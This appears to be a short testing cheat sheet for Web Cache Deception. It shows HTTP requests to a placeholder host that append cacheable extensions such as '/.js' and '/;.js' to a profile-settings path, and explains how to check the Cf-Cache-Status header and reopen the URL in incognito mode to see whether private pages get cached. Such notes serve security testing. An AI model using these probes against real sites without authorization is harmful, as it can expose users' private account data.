Web Cache Deception is an attack in which an attacker deceives a caching proxy into improperly storing private information sent over the internet and gaining unauthorized access to that cached data
-
- Normal Request (For example in the settings profile feature)
GET /profile/setting HTTP/1.1
Host: www.vuln.com
The response is
HTTP/2 200 OK
Content-Type: text/html
Cf-Cache-Status: HIT
...
- Try to add cacheable extension (For example .js / .css / .jpg, etc.)
GET /profile/setting/.js HTTP/1.1
Host: www.vuln.com
The response is
HTTP/2 200 OK
Content-Type: text/html
Cf-Cache-Status: HIT
...
If the Cf-Cache-Status
response the request with HIT
not MISS
or Error
. And then try to open the url in incognito mode
- Add
;
before the extension (For example;.js
/;.css
/;.jpg
, etc.)
GET /profile/setting/;.js HTTP/1.1
Host: www.vuln.com
The response is
HTTP/2 200 OK
Content-Type: text/html
Cf-Cache-Status: HIT
...
If the Cf-Cache-Status
response the request with HIT
not MISS
or Error
. And then try to open the url in incognito mode